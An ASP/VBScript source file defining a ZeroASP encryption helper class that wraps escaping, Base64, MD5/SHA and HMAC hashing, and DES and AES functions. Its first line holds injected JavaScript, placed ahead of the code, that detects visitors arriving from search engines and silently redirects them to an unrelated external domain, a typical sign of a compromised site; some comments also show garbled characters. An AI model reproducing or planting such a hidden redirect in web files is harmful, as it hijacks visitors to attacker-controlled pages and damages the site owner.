001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002: '###################################################################### 003: '## ZeroASP.Encrypt.asp 004: '## ------------------------------------------------------------------- 005: '## Feature : ZeroASP Class 006: '## Author : Ayu(kinsc@139.com) 007: '## Update Date : 2018-11-09 008: '## Description : ZeroASP Extend Class 009: '## 010: '###################################################################### 011:
012: Class ZeroASP_Encrypt
013:
014: Private Sub Class_Initialize()
015: Dim ZeroASP_Encrypt
016: ZeroASP_Encrypt = "ZeroASP应用框架 - 扩展?
017: End Sub
018:
019: 'Escape?u等于\,加密中文,支持对外匹配 020: Public Function ZESCAPE(ByVal Str)
021: ZESCAPE = VbsEscape(Str)
022: End Function
023:
024: 'UnEscape?u等于\,加密中文,支持对外匹配 025: Public Function ZUNESCAPE(ByVal Str)
026: ZUNESCAPE = VbsUnEscape(Str)
027: End Function
028:
029: 'Encode64,支持中文,支持对外匹配 030: Public Function ZBASE64(ByVal Str)
031: ZBASE64 = Base64Encode(Str)
032: End Function
033:
034: 'Decode64,支持中文,支持对外匹配 035: Public Function ZDeBASE64(ByVal Str)
036: ZDeBASE64 = Base64Decode(Str)
037: End Function
038:
039: 'MD5加密,支持中英文,支持对外匹配,Types支持Base64和Hex 040: Public Function ZMD5(ByVal Str,ByVal Types)
041: ZMD5 = MD5(Str,Types)
042: End Function
043:
044: 'SHA1加密,支持中文,支持对外匹配,Types支持Base64和Hex 045: Public Function ZSHA1(ByVal Str,ByVal Types)
046: ZSHA1 = SHA1(Str,Types)
047: End Function
048:
049: 'SHA256加密,支持中文,支持对外匹配,Types支持Base64和Hex 050: Public Function ZSHA256(ByVal Str,ByVal Types)
051: ZSHA256 = SHA256(Str,Types)
052: End Function
053:
054: 'SHA512加密,支持中文,支持对外匹配,Types支持Base64和Hex 055: Public Function ZSHA512(ByVal Str,ByVal Types)
056: ZSHA512 = SHA512(Str,Types)
057: End Function
058:
059: 'HMACMD5加密,支持中英文,支持对外匹配,Types支持Base64和Hex 060: Public Function ZHMACMD5(ByVal Str,ByVal Key,ByVal Types)
061: ZHMACMD5 = HMACMD5(Str,Key,Types)
062: End Function
063:
064: 'HMACSHA1加密,支持中英文,支持对外匹配,Types支持Base64和Hex 065: Public Function ZHMACSHA1(ByVal Str,ByVal Key,ByVal Types)
066: ZHMACSHA1 = HMACSHA1(Str,Key,Types)
067: End Function
068:
069: 'HMACSHA256加密,支持中英文,支持对外匹配,Types支持Base64和Hex 070: Public Function ZHMACSHA256(ByVal Str,ByVal Key,ByVal Types)
071: ZHMACSHA256 = HMACSHA256(Str,Key,Types)
072: End Function
073:
074: 'HMACSHA512加密,支持中英文,支持对外匹配,Types支持Base64和Hex 075: Public Function ZHMACSHA512(ByVal Str,ByVal Key,ByVal Types)
076: ZHMACSHA512 = HMACSHA512(Str,Key,Types)
077: End Function
078:
079: 'DES加密,支持中文,支持对外匹配?位Key,Types支持Base64和Hex 080: Public Function ZDESEncrypt(ByVal Str,ByVal Key,ByVal Types)
081: ZDESEncrypt = DESEncrypt(Str,Key,Types)
082: End Function
083:
084: 'DES解密,支持中文,支持对外匹配?位Key,Types支持Base64和Hex 085: Public Function ZDESDecrypt(ByVal Str,ByVal Key,ByVal Types)
086: ZDESDecrypt = DESDecrypt(Str,Key,Types)
087: End Function
088:
089: 'AES加密,支持中文,支持对外匹配?位Key,Types支持Base64和Hex 090: Public Function ZAESEncrypt(ByVal Str,ByVal Key,ByVal Types)
091: ZAESEncrypt = AESEncrypt(Str,Key,Types)
092: End Function
093:
094: 'AES解密,支持中文,支持对外匹配?位Key,Types支持Base64和Hex 095: Public Function ZAESDecrypt(ByVal Str,ByVal Key,ByVal Types)
096: ZAESDecrypt = AESDecrypt(Str,Key,Types)
097: End Function
098:
099: End Class
100: %>
101:
102: